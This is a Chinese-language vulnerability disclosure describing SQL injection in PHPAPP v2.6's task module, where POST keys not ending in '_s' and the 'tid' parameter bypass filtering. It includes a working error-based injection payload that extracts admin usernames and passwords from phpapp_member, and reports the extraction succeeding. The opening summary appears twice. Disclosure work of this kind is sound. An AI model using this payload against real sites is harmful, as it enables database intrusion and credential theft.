### 简要描述: PHPAPP注入第十一枚(无视过滤) ### 详细说明: 在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com/index.php?action=10&app=49, 存在漏洞的文件在/phpapp/apps/taskmode/main_phpapp.php 下面分析一下漏洞产生的原因 第一处绕过: 先看看是如何得到$_POST中的内容的,$this->POST=$this->POSTArray();如果key的最后一个字母是’_s’时,用户的输入会经过str方法的防注处理。而如果key(参数)的最后一个字母不是’_s’,则可以功能绕过过滤! 第二处绕过: ``` function TaskAddAction(){ if($this->POST['Submit']){ $this->tid=$this->POST['tid']; $strings=new CharFilter($this->POST['content']); if(empty($this->POST['content'])){ echo '请输入补充内容!'; echo $this->CloseNowWindows('#loading'); }elseif($strings->CheckLength(5)){ echo '对不起!,任务补充不能少5个字!'; echo $this->CloseNowWindows('#loading'); }else{ //过虑 $content=$this->str($this->POST['content'],200,0,1,1,0,1); if($this->tid!=0){ $task=$this->GetMysqlOne('uid,subject'," ".$this->GetTable('task')." WHERE tid='$this->tid'"); 无关代码 ``` $this->tid直接由$this->POST['tid']赋值,没有再经过过滤,造成注入。...
### 简要描述: PHPAPP注入第十一枚(无视过滤) ### 详细说明: 在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com/index.php?action=10&app=49, 存在漏洞的文件在/phpapp/apps/taskmode/main_phpapp.php 下面分析一下漏洞产生的原因 第一处绕过: 先看看是如何得到$_POST中的内容的,$this->POST=$this->POSTArray();如果key的最后一个字母是’_s’时,用户的输入会经过str方法的防注处理。而如果key(参数)的最后一个字母不是’_s’,则可以功能绕过过滤! 第二处绕过: ``` function TaskAddAction(){ if($this->POST['Submit']){ $this->tid=$this->POST['tid']; $strings=new CharFilter($this->POST['content']); if(empty($this->POST['content'])){ echo '请输入补充内容!'; echo $this->CloseNowWindows('#loading'); }elseif($strings->CheckLength(5)){ echo '对不起!,任务补充不能少5个字!'; echo $this->CloseNowWindows('#loading'); }else{ //过虑 $content=$this->str($this->POST['content'],200,0,1,1,0,1); if($this->tid!=0){ $task=$this->GetMysqlOne('uid,subject'," ".$this->GetTable('task')." WHERE tid='$this->tid'"); 无关代码 ``` $this->tid直接由$this->POST['tid']赋值,没有再经过过滤,造成注入。 Phpapp可以显错,那就用error-based blind进行注入。 Pyload:(POST提交) ``` submit=2&content=testtest&tid=1' or(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat (0x23,username,0x23,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) or' ``` 注入成功,管理员用户名及密码如下图中所示: [<img src="https://images.seebug.org/upload/201412/27234531ba63ff156de2e76676d5d1de2ed3d699.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/27234531ba63ff156de2e76676d5d1de2ed3d699.jpg) ### 漏洞证明: 见 详细说明